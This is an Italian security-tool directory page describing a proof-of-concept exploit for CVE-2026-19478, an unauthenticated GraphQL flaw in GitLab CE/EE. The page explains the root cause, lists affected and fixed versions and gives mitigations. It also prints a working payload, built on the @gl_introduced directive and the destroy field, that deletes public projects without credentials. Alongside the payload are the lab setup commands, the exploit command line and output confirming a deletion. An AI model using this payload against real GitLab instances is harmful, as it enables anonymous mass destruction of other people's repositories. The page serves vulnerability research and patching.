Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/eqstlab/cve-2026-19478
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed Teaming
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

Proof-of-concept exploit per CVE-2026-19478, un'iniezione GraphQL non autenticata in GitLab CE/EE che consente l'invocazione arbitraria di metodi e l'eliminazione di progetti.

Vedi Repository
17h 2m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 Eliminazione non autenticata di progetti GitLab GraphQL

★ CVE-2026-19478 GitLab GraphQL @gl_introduced PoC di invocazione arbitraria di metodi non autenticata ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


Panoramica

CVE-2026-19478 è una vulnerabilità di manipolazione/eliminazione dati non autenticata in GitLab CE/EE (CVSS 9.4). GitLab include una direttiva client GraphQL @gl_introduced(version: "X.Y.Z") per la compatibilità forward dei rollout incrementali. Quando una query nomina un campo con una versione più recente del server in esecuzione, un tracer lo rimuove prima della validazione statica, così la query viene validata; poi, in fase di esecuzione, il campo sconosciuto viene risolto da un campo fallback senza resolver. In graphql-ruby, un campo senza resolver viene risolto chiamando object.public_send(field_name) — quindi il client può nominare un campo uguale a qualsiasi metodo a 0 argomenti sull'oggetto attualmente risolto, e il server lo invoca. Risolvere un progetto pubblico e richiedere un "campo futuro" chiamato esegue quindi — eliminando un progetto pubblico (o modificando dati utente) .

destroy
Project#destroy
senza account, token o interazione utente

Versioni interessate

CategoriaVersione
VulnerabiliGitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3
Corrette18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o successive

Impatto

  • Modifica/eliminazione non autenticata di progetti pubblici e dati utente
  • Distruzione massiva e scriptabile di ogni repository pubblico su un'istanza esposta a internet
  • La correzione instrada il fallback dei campi futuri attraverso Resolvers::NilResolver (restituisce nil, non invoca mai un metodo)

Ambiente

Crea ed esegui il GitLab vulnerabile. Auto-genera un repository pubblico victim/demo che puoi eliminare senza autenticazione. GitLab impiega ~3–5 minuti per completare la riconfigurazione e il seeding.

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
PrerequisitoStato in questo laboratorio
GitLab 18.2 – 19.2.319.2.2
Un progetto pubblico raggiungibile in modo anonimovictim/demo (generato)
Endpoint GraphQL non autenticato raggiungibile/api/graphql esposto

PoC

L'exploit gitlab_exploit.py elimina qualsiasi repository pubblico a cui lo punti, senza credenziali. Invia il payload @gl_introduced che trasforma il nome del campo GraphQL destroy in una chiamata Project#destroy, poi conferma l'eliminazione tramite l'API REST (404).

root@kitploit:~
# python3 gitlab_exploit.py <ip:porta del target> --repo <gruppo/nome>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] target ......... http://172.17.0.2:3000
[*] PRIMA (REST) ... GET /api/v4/projects/victim/demo -> HTTP 200  (esiste)
[*] PAYLOAD (senza auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] risposta ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] attesa del completamento dell'eliminazione asincrona ...
[+] DOPO (REST) .... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESSO - la richiesta NON AUTENTICATA ha ELIMINATO 'victim/demo'. CVE-2026-19478 dimostrata.

Opzioni:

  • --detect — controllo sicuro e non distruttivo (invoca il metodo innocuo to_param invece di destroy)
  • --repo gruppo/nome — target qualsiasi progetto pubblico sull'istanza
  • --insecure — salta la verifica TLS per target https://

Mitigazione

  • Aggiorna GitLab a 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o successive
  • Se non puoi aggiornare immediatamente, blocca la direttiva @gl_introduced / il percorso di filtro versione su un reverse proxy, oppure limita l'accesso non autenticato a /api/graphql
  • Riduci l'esposizione: tieni GitLab fuori da internet pubblico (VPN / proxy di autenticazione) e minimizza i progetti pubblici

Analisi

  • KR:
  • EN:
Scarica lo strumento